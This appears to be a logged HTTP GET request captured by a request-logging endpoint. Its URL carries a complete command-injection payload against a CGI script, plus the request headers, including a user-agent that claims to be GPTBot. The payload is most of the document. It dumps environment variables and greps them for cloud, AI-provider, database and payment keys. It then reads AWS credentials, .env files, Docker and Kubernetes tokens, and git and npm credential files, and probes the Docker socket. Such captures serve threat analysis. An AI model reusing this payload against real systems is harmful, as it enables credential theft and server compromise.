Type: GET
URL: /cgi-bin/test?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23
Request made at:
- 49 minutes ago
- 6:26:32 AM, 05-08-2026 UTC
Headers:
- host: b.hla.sh
- user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)
- cf-visitor: {"scheme":"https"}
- accept: */*
- x-forwarded-scheme: https
- cdn-loop: cloudflare; loops=1
- connection: close
- cf-ipcountry: US
- x-forwarded-for: 2a04:c300:400::58, 172.68.150.238
- accept-encoding: gzip, br
- cf-ray: a263bb1abfcbfa09-MCI
- x-forwarded-proto: https
- cf-connecting-ip: 2a04:c300:400::58
- x-real-ip: 172.68.150.238
No request body.